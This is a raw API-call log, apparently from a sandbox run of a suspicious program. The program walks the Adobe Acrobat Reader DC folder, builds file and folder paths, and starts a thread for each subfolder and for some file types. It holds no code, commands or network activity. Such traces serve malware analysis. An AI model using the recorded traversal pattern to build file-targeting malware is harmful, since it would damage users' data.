	[0077.977] wcscmp (_String1="A3DUtils.dll", _String2="..") returned 1
	[0077.977] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xded496a3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xe8ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACE.dll", cAlternateFileName="")) returned 1
	[0077.977] wcscmp (_String1="ACE.dll", _String2=".") returned 1
	[0077.977] wcscmp (_String1="ACE.dll", _String2="..") returned 1
	[0077.977] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroApp", cAlternateFileName="")) returned 1
	[0077.977] wcscmp (_String1="AcroApp", _String2=".") returned 1
	[0077.978] wcscmp (_String1="AcroApp", _String2="..") returned 1
	[0077.978] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7c) returned 0x498d680
	[0077.978] wcscpy (in: _Dest=0x498d680, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.978] wcscat (in: _Dest=0x498d680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.978] wcscat (in: _Dest=0x498d680, _Source="AcroApp" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp"
	[0077.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498d680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc
	[0077.978] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1
	[0077.978] wcscmp (_String1="AcroBroker.exe", _String2=".") returned 1
	[0077.978] wcscmp (_String1="AcroBroker.exe", _String2="..") returned 1
	[0077.978] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroCEF", cAlternateFileName="")) returned 1
	[0077.979] wcscmp (_String1="AcroCEF", _String2=".") returned 1
	[0077.979] wcscmp (_String1="AcroCEF", _String2="..") returned 1
	[0077.979] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7c) returned 0x498d570
	[0077.979] wcscpy (in: _Dest=0x498d570, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.979] wcscat (in: _Dest=0x498d570, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.979] wcscat (in: _Dest=0x498d570, _Source="AcroCEF" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
	[0077.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498d570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8
	[0077.979] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1abe0524, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x134b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1
	[0077.979] wcscmp (_String1="Acrofx32.dll", _String2=".") returned 1
	[0077.979] wcscmp (_String1="Acrofx32.dll", _String2="..") returned 1
	[0077.979] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf33f4ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x16dc3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.dll", cAlternateFileName="")) returned 1
	[0077.979] wcscmp (_String1="AcroRd32.dll", _String2=".") returned 1
	[0077.980] wcscmp (_String1="AcroRd32.dll", _String2="..") returned 1
	[0077.980] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3b1bc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21fdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.exe", cAlternateFileName="")) returned 1
	[0077.980] wcscmp (_String1="AcroRd32.exe", _String2=".") returned 1
	[0077.980] wcscmp (_String1="AcroRd32.exe", _String2="..") returned 1
	[0077.980] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3d7e46, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Info.exe", cAlternateFileName="ACRORD~1.EXE")) returned 1
	[0077.980] wcscmp (_String1="AcroRd32Info.exe", _String2=".") returned 1
	[0077.980] wcscmp (_String1="AcroRd32Info.exe", _String2="..") returned 1
	[0077.980] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf66062a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xe07ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Res.dll", cAlternateFileName="ACRORD~1.DLL")) returned 1
	[0077.980] wcscmp (_String1="AcroRd32Res.dll", _String2=".") returned 1
	[0077.980] wcscmp (_String1="AcroRd32Res.dll", _String2="..") returned 1
	[0077.980] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec648c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroSup64.dll", cAlternateFileName="ACROSU~1.DLL")) returned 1
	[0077.980] wcscmp (_String1="AcroSup64.dll", _String2=".") returned 1
	[0077.980] wcscmp (_String1="AcroSup64.dll", _String2="..") returned 1
	[0077.980] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf6d2df0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xaff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroTextExtractor.exe", cAlternateFileName="ACROTE~1.EXE")) returned 1
	[0077.980] wcscmp (_String1="AcroTextExtractor.exe", _String2=".") returned 1
	[0077.980] wcscmp (_String1="AcroTextExtractor.exe", _String2="..") returned 1
	[0077.980] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADelRCP.exe", cAlternateFileName="")) returned 1
	[0077.980] wcscmp (_String1="ADelRCP.exe", _String2=".") returned 1
	[0077.980] wcscmp (_String1="ADelRCP.exe", _String2="..") returned 1
	[0077.980] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37bc3c75, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x711, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.Reader.Dependencies.manifest", cAlternateFileName="ADOBER~1.MAN")) returned 1
	[0077.980] wcscmp (_String1="Adobe.Reader.Dependencies.manifest", _String2=".") returned 1
	[0077.980] wcscmp (_String1="Adobe.Reader.Dependencies.manifest", _String2="..") returned 1
	[0077.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4769ba8
	[0077.980] wcscpy (in: _Dest=0x4769ba8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.980] wcscat (in: _Dest=0x4769ba8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.980] wcscat (in: _Dest=0x4769ba8, _Source="Adobe.Reader.Dependencies.manifest" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest"
	[0077.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4769ba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8
	[0077.981] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a15668, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xd87f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.exe", cAlternateFileName="ADOBEC~1.EXE")) returned 1
	[0077.981] wcscmp (_String1="AdobeCollabSync.exe", _String2=".") returned 1
	[0077.981] wcscmp (_String1="AdobeCollabSync.exe", _String2="..") returned 1
	[0077.981] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea0236a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7e1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeLinguistic.dll", cAlternateFileName="ADOBEL~1.DLL")) returned 1
	[0077.981] wcscmp (_String1="AdobeLinguistic.dll", _String2=".") returned 1
	[0077.981] wcscmp (_String1="AdobeLinguistic.dll", _String2="..") returned 1
	[0077.981] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1f95cdaa, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x45650, dwReserved0=0x0, dwReserved1=0x0, cFileName="adoberfp.dll", cAlternateFileName="")) returned 1
	[0077.981] wcscmp (_String1="adoberfp.dll", _String2=".") returned 1
	[0077.981] wcscmp (_String1="adoberfp.dll", _String2="..") returned 1
	[0077.981] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b58fe2e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x4ae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeXMP.dll", cAlternateFileName="")) returned 1
	[0077.981] wcscmp (_String1="AdobeXMP.dll", _String2=".") returned 1
	[0077.981] wcscmp (_String1="AdobeXMP.dll", _String2="..") returned 1
	[0077.981] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf876737, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4e5df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGM.dll", cAlternateFileName="")) returned 1
	[0077.981] wcscmp (_String1="AGM.dll", _String2=".") returned 1
	[0077.981] wcscmp (_String1="AGM.dll", _String2="..") returned 1
	[0077.981] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGMGPUOptIn.ini", cAlternateFileName="AGMGPU~1.INI")) returned 1
	[0077.981] wcscmp (_String1="AGMGPUOptIn.ini", _String2=".") returned 1
	[0077.981] wcscmp (_String1="AGMGPUOptIn.ini", _String2="..") returned 1
	[0077.981] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x2d788e0
	[0077.982] wcscpy (in: _Dest=0x2d788e0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.982] wcscat (in: _Dest=0x2d788e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.982] wcscat (in: _Dest=0x2d788e0, _Source="AGMGPUOptIn.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini"
	[0077.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d788e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4
	[0077.982] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1ab2191d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x426b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ahclient.dll", cAlternateFileName="")) returned 1
	[0077.982] wcscmp (_String1="ahclient.dll", _String2=".") returned 1
	[0077.982] wcscmp (_String1="ahclient.dll", _String2="..") returned 1
	[0077.982] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8e3fa2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x116c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIDE.dll", cAlternateFileName="")) returned 1
	[0077.982] wcscmp (_String1="AIDE.dll", _String2=".") returned 1
	[0077.982] wcscmp (_String1="AIDE.dll", _String2="..") returned 1
	[0077.982] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR", cAlternateFileName="")) returned 1
	[0077.982] wcscmp (_String1="AIR", _String2=".") returned 1
	[0077.982] wcscmp (_String1="AIR", _String2="..") returned 1
	[0077.982] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bc410
	[0077.982] wcscpy (in: _Dest=0x47bc410, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.983] wcscat (in: _Dest=0x47bc410, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.983] wcscat (in: _Dest=0x47bc410, _Source="AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR"
	[0077.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bc410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404
	[0077.983] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="arh.exe", cAlternateFileName="")) returned 1
	[0077.983] wcscmp (_String1="arh.exe", _String2=".") returned 1
	[0077.983] wcscmp (_String1="arh.exe", _String2="..") returned 1
	[0077.983] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdecd6f88, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x309f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXE8SharedExpat.dll", cAlternateFileName="AXE8SH~1.DLL")) returned 1
	[0077.983] wcscmp (_String1="AXE8SharedExpat.dll", _String2=".") returned 1
	[0077.983] wcscmp (_String1="AXE8SharedExpat.dll", _String2="..") returned 1
	[0077.983] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xded23451, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x989f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXSLE.dll", cAlternateFileName="")) returned 1
	[0077.983] wcscmp (_String1="AXSLE.dll", _String2=".") returned 1
	[0077.983] wcscmp (_String1="AXSLE.dll", _String2="..") returned 1
	[0077.983] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf89c98d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1d1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIB.dll", cAlternateFileName="")) returned 1
	[0077.983] wcscmp (_String1="BIB.dll", _String2=".") returned 1
	[0077.983] wcscmp (_String1="BIB.dll", _String2="..") returned 1
	[0077.984] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf89c98d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x269f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBUtils.dll", cAlternateFileName="")) returned 1
	[0077.984] wcscmp (_String1="BIBUtils.dll", _String2=".") returned 1
	[0077.984] wcscmp (_String1="BIBUtils.dll", _String2="..") returned 1
	[0077.984] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Browser", cAlternateFileName="")) returned 1
	[0077.984] wcscmp (_String1="Browser", _String2=".") returned 1
	[0077.984] wcscmp (_String1="Browser", _String2="..") returned 1
	[0077.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7c) returned 0x498d5f8
	[0077.984] wcscpy (in: _Dest=0x498d5f8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.984] wcscat (in: _Dest=0x498d5f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.984] wcscat (in: _Dest=0x498d5f8, _Source="Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser"
	[0077.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498d5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410
	[0077.985] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec3e62f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_asym.dll", cAlternateFileName="CCME_A~1.DLL")) returned 1
